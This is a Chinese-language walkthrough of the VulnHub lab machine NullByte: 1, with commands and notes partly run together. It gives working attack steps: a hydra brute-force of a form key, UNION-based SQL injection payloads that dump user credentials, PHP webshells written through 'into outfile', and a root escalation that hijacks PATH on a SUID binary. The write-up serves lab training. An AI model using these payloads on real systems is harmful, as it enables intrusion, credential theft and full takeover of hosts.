https://zhuanlan.zhihu.com/p/17341573329
NullByte: 1 ~ VulnHub
1.主机发现
arp-scan -I eth0 192.168.100.0/242.端口扫描
nmap -sS -Pn --min-rate=10000 -sV -O 192.168.100.148 -p-nmap -sU --top-port 20 192.168.100.148 closed Nmap 发 UDP 包 → 目标返回 ICMP 端口不可达 👉 确定:这个 UDP 端口没有开放 例:123/udp closed open|filtered Nmap 发包后 → 目标完全没有任何回复 两种可能性 Nmap 区分不开: 情况 A:端口开放,UDP 服务收到探测包,但不会主动回应空探测包 情况 B:防火墙直接丢弃数据包(过滤) 👉 所以标记 open|filtered,不能直接断定开放,需要进一步验证 -sU: 这个选项告诉Nmap执行UDP扫描。 --top-port 20: 这个选项告诉Nmap只扫描最常见的20个端口。Nmap会扫描UDP端口1到20,这些端口通常是最有可能开放的UDP端口。再利用nmap进行UDP端口的扫描,但是没有什么特别值得去挖掘的地方,从目前的情况来看,80端口是最值得去查看的。
nmap漏洞扫描
利用nmap进行漏洞扫描挖掘,看看有没有什么新的发现。
nmap --script=vuln -p80,111,777,34547 192.168.100.148这个一般会很慢 可以加-T4
漏洞编号:CVE-2011-1002原理:发送畸形空 UDP 包,存在漏洞的 Avahi 服务会崩溃(拒绝服务 DoS)对于渗透不是突破口
web80端口探测
访问web的80端口,就一张图片,右击查看网页源代码,就显示了一张图片名字,没有任何的提示了。
3.目录扫描
dirsearch -u http://192.168.100.148/uploads、/phpmyadmin、/javascript目录,我们下面尝试进行访问扫描出来的目录。
访问/uploads/目录,提示这个目录下没有任何的文件,这就给我们一个提示,说不定是叫我们到时候上传上去呢,要不然不会无辜给出一个/uploas/目录的,这个我们后面多注意下。
访问/phpmyadmin/目录,发现需要进行登录,一般像这种情况,我们可以进行弱口令登录,有就有,没有就算了,因为实战中就是这莫个思路。想到要账号密码,那我们得进行信息收集,把像密码的收集起来,然后进行登录尝试。
4.web渗透思路
我们开始进行web渗透信息收集的时候,开始有张图片,我们可以按照CTF的思路进行分析,因为这张图片是在web网站的根目录下,所以我们可以直接进行下载。
wget http://192.168.100.148/main.gif file main.gif exiftool main.gifexiftool
说不定是目录呢试一试
还真是个目录
查看源代码发现这个
hydra爆破key值
利用hydra九头蛇进行爆破,其中rockyou.txt是kali中常用密码碰撞的字典,师傅们可以记录下。
hydra 192.168.100.148 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l routing -P /usr/share/wordlists/rockyou.txt hydra: 这是执行暴力破解攻击的工具。 192.168.100.148: 这是目标主机的IP地址。 http-form-post: 这个选项告诉Hydra使用HTTP POST方法来提交表单。 "/kzMb5nVYJw/index.php:key=^PASS^:invalid key": 这是指定了要攻击的目标URL和表单字段。在这个URL中,kzMb5nVYJw/index.php 是表单提交的路径,key=^PASS^ 是表单字段,^PASS^ 是Hydra将会尝试猜测的密码的占位符,而 invalid key 是当密码错误时,网站返回的响应。 -l routing: 这个选项指定了要猜测的用户名,routing 在这里是一个示例用户名。 -P /usr/share/wordlists/rockyou.txt: 这个选项指定了用于猜测密码的字典文件路径。在这里,使用了一个常见的密码字典文件 /usr/share/wordlists/rockyou.txt。 因为这是单参数表单,没有用户名提交项。routing不是刚需只是为了语法 hydra 要求必须带上 -l/-L 参数(语法强制要求,不然报错), 所以作者说:随便写一个用户名凑语法,写啥都行,不影响爆破结果。登登陆成功
sql注入联合查询
我们右击查看源代码,发现了420search.php 文件,这个文件应该是与这个界面交互的一个文件。
那么直接有我们随便输入一个1,提示我们成功查询到数据,并且我们发现这里存在GET传参,
我们把1删掉,发现了两个用户,以及别的信息,这很有可能存在sql注入漏洞,我们下一步就是可以进行sql注入漏洞尝试。
当我们输入双引号",发现这个页面报错了,说明我们的猜想是正确的,就是存在sql注入
那么我们合并--+
或者-- -
或者#
或者--空
红色的可以
1、order by查看这个数据库的列数,我们发现3列正常回显,而4列的时候报错了,说明这个数据库就是3列。
2、union select查看数据库,发现数据库的名是:seth
3、查看表,发现表名叫users
http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch="union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+○ schemata表:存储该用户创建的所有的数据库库名,这里我们只需要记住SCHEMA_NAME这个字段; ○ tables表:存储该用户创建的所有的数据库库名和表名,这里我们只需要记住TABLE_SCHEMA和TABLE_NAME这两个字段; ○ columns表:存储该用户创建的所有的数据库库名、表名和字段名,这里我们只需要记住TABLE_SCHEMA、TABLE_NAME和COLUMN_NAME;4、查看列名,得到列:id,user,pass,position
http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch="union select 1,2,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name="users"--+5、查看user,pass内容,为了看清楚,我这里把user和pass分别查看,因为pass是一个字符串比较长。
" union select 1,2,group_concat(user) from seth.sethusers--+YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE= base64 c6d6bd7ebf806f43c76acc3681703b81 base64解码 看上去像是一个md5的字符这里知道用户名可能是ramses,isis
与密码匹配试试
ssh连接
ssh ramses@192.168.100.148 -p 777SQL注入写入一句话木马
1.数据库secure_file_priv参数为空,即我们具有写的权限。 2.需要知道写入文件位置的绝对路径。之前进行目录爆破的时候我们看到了目录uploads,这个目录很可能可以写入。这里我们利用into outfile写入php木马文件到/var/www/html/uploads/目录下,然后利用GET传参,执行命令
http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php @eval($_POST[1]);?>",2,3 into outfile "/var/www/html/uploads/shell.php" --+ 这个是直接webshell连接 图像化探索 http://192.168.100.148/uploads/shell.php 密码1 http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=" union select "<?php system($_GET[cmd]);?>",2,3 into outfile "/var/www/html/uploads/shelll.php" --+ <?php system($_GET[cmd]);?>也行 可以在当前页面执行系统命令 http://192.168.100.148/uploads/shelll.php?cmd=whoami 页面回显www-data 两者区别 eval():执行 PHP 代码 post传参 http://xxx/shelll.php 1=system('whoami'); system():调用系统命令(操作系统 shell) get传参 http://xxx/shelll.php?cmd=whoami成功拿到shell
发现数据库的密码得到:数据库的账号为root,密码为sunnyvale
那么我们就可以利用这个账号密码进行登录ip/phpmyadmin/了
sqlmap一把梭
利用sqlmap跑脚本,就不带师傅们讲太多了,只要找到了注入点,直接用脚本的命令跑就好了。
sqlmap -u "http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=1" --batch --dumpbase64解码 md5解码
sqlmap -u "http://192.168.100.148/kzMb5nVYJw/420search.php?usrtosearch=1" --batch -D seth -T users -C ramses,isis --dump5.提权
ssh连接
find / -perm -u=s -type f 2>/dev/null查看history
发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于procwatch具有s权限,就可以以root身份运行,从而触发提权。
首先建立一个软连接,将ps连接到/bin/sh,这样在执行procwatch的时候,无论是sh还是ps都会把root的sh(shell)带出来:
ln -s /bin/sh ps export PATH=.:$PATH ./procwatch